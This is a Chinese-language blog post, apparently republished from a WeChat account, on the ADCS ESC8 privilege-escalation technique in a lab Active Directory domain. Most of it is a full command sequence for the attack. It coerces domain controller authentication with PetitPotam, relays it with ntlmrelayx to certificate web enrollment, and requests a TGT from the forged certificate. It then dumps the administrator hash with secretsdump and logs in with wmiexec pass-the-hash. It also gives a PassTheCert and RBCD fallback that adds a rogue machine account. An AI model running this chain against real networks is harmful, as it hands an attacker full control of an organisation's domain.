冬有冬的来意,雪有雪的秘密
Winter has its own purpose, and snow has its own secrets
ADCS-ESC完结
在真实环境中,在域环境中欲进行获取域控权限,并存在ADCS服务时,ESC1&ESC8相较于ESC2-ESC7比较常用。
ADCS-ESC系列中所用到工具均整理,后台回复ADCStools获取地址。
ADCS-ESC配置错误系列目录:
-
ESC1:错误配置ENROLLEE_SUPPLIES_SUBJECT,可任意申明证书身份 -
ESC2:证书模板定义指定了Any Purpose EKU或No EKU,可证书可进行任意用途 -
ESC3:证书模板定义证书请求代理 EKU,普通用户可代理域管注册,从而获取域管权限 -
ESC4:低权限用户拥有证书模版write权限,可修改证明模版任意配置 -
ESC5_ESC6:其他对象对ADCS的影响(ESC5);ADCS服务开启EDITF_ATTRIBUTESUBJECALTNAME2,任意证书可申明身份(ESC6) -
ESC7:证书颁发机构低权限用户拥有ManageCA权限和ManageCertificates权限,可管理ADCS与证书模版 -
ESC8:基于HTTP的证书注册服务易受到NTML中继攻击
ESC8-环境配置
在ADCS服务中,管理员可以添加基于HTTP的证书注册服务,而这种基于HTTP的证书接口,特别容易受到NTML中继攻击,通过NTML中继攻击,可以窃取任何进行NTML身份认证的AD用户。在T0ngMystic`s Blog下的ESC1-ESC7都是ADCS服务与域控在同一台服务器上,但是ESC8会用到NTML中继攻击,在同一台服务器则没法进行域控与ADCS之间的中继攻击,所以,ESC8的环境为分离部署,具体环境如下:
域控 testad.com(windows server 2019):192.168.111.22
ADCS(windows server 2019):192.168.111.221
域内机器:(windows10):192.168.111.129
kali(linux-kali):192.168.111.132
ADCS开启Web证书注册服务:
ESC8-NTML中继
在kali上利用impacket下的ntlmrelayx .py开启监听:
利用PetitPotam对域控进行强制认证漏洞攻击,强制域控向kali进行认证:
PetitPotam.exe 192.168.111.132 192.168.111.22 1
kali监听收到来自域控服务器的NTML认证,使用中继攻击向ADCS的web服务申请DomainController证书,将获取到的base64编码证书,解码后保存:
python3 ntlmrelayx.py -t http://192.168.111.221/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'
//base64证书保存到123.txt后解码保存至T0ngMystic.pfx
cat 123.txt| base64 -d > T0ngMystic.pfx
base64证书保存到123.txt后解码保存至T0ngMystic.pfx
cat 123.txt| base64 -d > T0ngMystic.pfx
利用gettgtpkinit.py请求tgt(使用Rubeus也可以,我这里使用Rubeus后,使用mimikatz提取hash报错):
python3 gettgtpkinit.py -cert-pfx T0ngMystic.pfx testad.com/WIN-E65HGR8BUBN$ dc.ccache
将tgt保存的文件赋给变量KRB5CCNAME,利用getnthash.py获取NT hash(NT hash 可以不用获取,但KRB5CCNAME必须要):
export KRB5CCNAME=dc.ccache
python3 getnthash.py -key 3260c220868278b2287ba3b62fca066ff03ac1c2ed6761a112a60b553b7733b2 testad.com/WIN-E65HGR8BUBN$
通过secretsdump.py使用dc.ccache获取域控administrator用户NTML hash:
python3 secretsdump.py -k testad.com/WIN-E65HGR8BUBN$@WIN-E65HGR8BUBN.testad.com -no-pass -just-dc-user administrator
利用wmiexec.py进行hsah传递访问域控服务器:
python3 wmiexec.py -hashes :92ac39dc25532a7fabf2c33d861b2c53 testad.com/[email protected] -dc-ip 192.168.111.22
KDC_ERR_PADATA_TYPE_NOSUPP错误
有时在请求TGT时有可能会报***KDC_ERR_PADATA_TYPE_NOSUPP***错误,导致无法请求TGT。如果遇到这种情况,同时存在LDAP支持TLS,可以使用***PassTheCert***进行利用,LDAP 在内的协议支持 Schannel,从而可以通过 TLS 进行身份验证。(我在配置LDAP支持TLS后,报错就消失了,该方法作为另一种利用的思路吧)
利用Certipy将先前通过NTML中继攻击获取到的证书,转换成key和crt,两个部分(***PassTheCert***工具需要):
certipy cert -pfx T0ngMystic.pfx -nokey -out T0ngMystic.crt
certipy cert -pfx T0ngMystic.pfx -nocert -out T0ngMystic.key
利用***PassTheCert***生成新的机器账户 NOPKIdc :
python passthecert.py -action add_computer -crt T0ngMystic.crt -key T0ngMystic.key -domain testad.com -dc-ip 192.168.111.22 -computer-name NOPKIdc$ -computer-pass Testad@123
给新建的机器用户添加rbcd(约束委派)属性:
python passthecert.py -action write_rbcd -crt T0ngMystic.crt -key T0ngMystic.key -domain testad.com -dc-ip 192.168.111.22 -delegate-from NOPKIdc$ -delegate-to WIN-E65HGR8BUBN$
利用getST.py约束委派生成administrator对NOPKIdc$的cifs ST票据:
python3 getST.py -spn cifs/WIN-E65HGR8BUBN.testad.com -impersonate administrator testad.com/NOPKIdc$:Testad@123 -dc-ip 192.168.111.22
将获取的票据保存到变量KRB5CCNAME,并利用wmiexec.py进行hash传递登录域控服务器:
export KRB5CCNAME=administrator.ccache
python3 wmiexec.py -k testad.com/[email protected] -no-pass -dc-ip 192.168.111.22
文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!
原文始发于微信公众号(T0ngMystic工作站):ADCS-域提权-ESC8-NTML中继攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论